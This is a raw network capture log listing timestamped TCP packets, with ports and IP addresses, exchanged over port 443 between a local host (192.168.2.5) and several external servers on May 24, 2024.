May 24, 2024 00:51:25.846141100 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.846146107 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.846808910 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.846883059 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.846889973 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.847513914 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.847583055 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.847588062 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.850471020 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.850536108 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.850543022 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.852855921 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.852916956 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.852922916 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.853272915 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.853322983 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.853327990 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.854851961 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.854902029 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.854907990 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.866904974 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:25.866934061 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:25.897388935 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.932708979 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.933316946 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.933325052 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.933352947 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.933361053 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.933388948 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.933393955 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.933406115 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.933415890 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.933722019 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.934941053 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.935004950 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.935817003 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.935883999 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.936117887 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.936177969 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.937160969 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.937215090 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.937222004 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.937241077 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.937269926 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.937287092 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.938086987 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.938159943 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.939076900 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.939116955 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.939171076 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.939177990 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.939187050 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.939671993 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.939764023 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.939769983 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.939857006 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:25.949803114 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:25.949884892 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.024095058 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.024142981 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.024198055 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.024211884 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.024271011 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.024874926 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.024950981 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.025404930 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.025435925 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.025481939 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.025486946 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.025525093 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.026237965 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.026268959 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.026284933 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.026288986 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.026354074 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.026969910 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.027026892 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.027760029 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.027802944 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.027837038 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.027842045 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.027867079 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.027884960 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.028804064 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.028884888 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.029284954 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.029340982 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.029345036 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.029408932 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:26.029685020 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.365101099 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:26.417062998 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:26.417095900 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:26.417157888 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:26.494839907 CEST	49675	443	192.168.2.5	23.1.237.91
May 24, 2024 00:51:26.494839907 CEST	49674	443	192.168.2.5	23.1.237.91
May 24, 2024 00:51:26.501104116 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:26.549719095 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:26.578661919 CEST	49673	443	192.168.2.5	23.1.237.91
May 24, 2024 00:51:27.080918074 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:27.080950022 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:27.303440094 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.303478956 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.303977013 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.305846930 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.305898905 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.307881117 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.354492903 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.565819025 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.565881968 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.565903902 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.565947056 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.565948009 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.565978050 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.565995932 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.566004038 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.566029072 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.566056967 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.588279009 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.588303089 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.588376999 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.588387012 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.588452101 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.653758049 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.653781891 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.653923035 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.653954029 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.654253006 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.666554928 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.666578054 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.666656971 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.666671038 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.666734934 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.678106070 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.678122997 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.678232908 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.678245068 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.678308964 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.704873085 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.730854988 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.730880022 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.730952978 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.730983973 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.731018066 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.731038094 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.742347002 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.742362976 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.742459059 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.742471933 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.742511034 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.754194975 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.754211903 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.754290104 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.754304886 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.754343033 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.758642912 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.758658886 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.758733988 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.758744955 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.758796930 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.762881994 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:27.767723083 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.767740011 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.767808914 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.767821074 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.767869949 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.801772118 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:27.801810026 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:27.802701950 CEST	49718	443	192.168.2.5	172.66.45.18
May 24, 2024 00:51:27.802737951 CEST	443	49718	172.66.45.18	192.168.2.5
May 24, 2024 00:51:27.803335905 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:27.803445101 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:27.818574905 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.818593979 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.818677902 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.818690062 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.818747044 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.820568085 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.820585966 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.820698023 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.820704937 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.820749044 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.830184937 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.830203056 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.830295086 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.830302000 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.830346107 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.832532883 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.832556009 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.832607031 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.832612991 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.832659006 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.834352016 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.834404945 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.834412098 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.834430933 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:27.834477901 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.895215034 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.902558088 CEST	49720	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:27.902570963 CEST	443	49720	149.154.167.99	192.168.2.5
May 24, 2024 00:51:28.224205017 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:28.224257946 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:28.224548101 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:28.226651907 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:28.226675987 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:28.281109095 CEST	443	49703	23.1.237.91	192.168.2.5
May 24, 2024 00:51:28.281202078 CEST	49703	443	192.168.2.5	23.1.237.91
May 24, 2024 00:51:28.556315899 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:28.556571960 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:28.768687010 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:28.768703938 CEST	443	49723	172.217.18.4	192.168.2.5
May 24, 2024 00:51:28.861655951 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:28.861762047 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:28.867506981 CEST	49723	443	192.168.2.5	172.217.18.4
May 24, 2024 00:51:28.974536896 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:28.974550962 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:28.974869013 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:29.177514076 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:29.654537916 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:29.654603004 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:29.654680967 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:29.654901028 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:29.654916048 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:29.684617996 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:29.726538897 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:29.799989939 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:29.800017118 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:29.800092936 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:29.807183027 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:29.807195902 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:29.813785076 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:29.813817024 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:29.813895941 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:29.814235926 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:29.814253092 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:29.914715052 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:29.919434071 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:29.919508934 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:29.922183990 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:29.922193050 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:29.922244072 CEST	49724	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:29.922249079 CEST	443	49724	23.211.8.90	192.168.2.5
May 24, 2024 00:51:30.029522896 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:30.029578924 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:30.029656887 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:30.030273914 CEST	49728	443	192.168.2.5	23.211.8.90
May 24, 2024 00:51:30.030287027 CEST	443	49728	23.211.8.90	192.168.2.5
May 24, 2024 00:51:30.303097010 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.303374052 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.303401947 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.304383993 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.304445028 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.305665016 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.305727959 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.305926085 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.305948973 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.350531101 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.351028919 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.351053953 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.351408005 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.351959944 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.352021933 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.352320910 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.370369911 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.394495964 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.447496891 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.452971935 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.452996016 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.453876972 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.453943014 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.454781055 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.454833984 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.455111027 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.455117941 CEST	443	49727	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.567696095 CEST	49727	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.579027891 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.582346916 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.582420111 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.582446098 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.591574907 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.591622114 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.591638088 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.591733932 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.591798067 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.591805935 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.597135067 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.597182989 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.597194910 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.606718063 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.606745005 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.606759071 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.606771946 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.606806040 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.610886097 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.672451019 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.672478914 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.672492981 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.672527075 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.672549963 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.672566891 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.672574997 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.672590971 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.672609091 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.674314976 CEST	49725	443	192.168.2.5	149.154.167.99
May 24, 2024 00:51:30.674329042 CEST	443	49725	149.154.167.99	192.168.2.5
May 24, 2024 00:51:30.676136017 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.676193953 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.676213980 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.679672003 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.679725885 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.679734945 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.685462952 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.685497046 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.685525894 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.685545921 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.685611010 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.688314915 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.691395998 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.691426992 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.691448927 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.691457987 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.691518068 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.694073915 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.696924925 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.696950912 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.696980000 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.696988106 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.697037935 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.699578047 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.702116013 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.702169895 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.702177048 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.704634905 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.704675913 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.704684973 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.704693079 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.704730034 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.706723928 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.709062099 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.709104061 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.709106922 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.709119081 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.709162951 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.712450981 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.714595079 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.714643002 CEST	49726	443	192.168.2.5	172.66.46.238
May 24, 2024 00:51:30.714649916 CEST	443	49726	172.66.46.238	192.168.2.5
May 24, 2024 00:51:30.738873959 CEST	443	49728	23.211.8.90	192.168.2.5
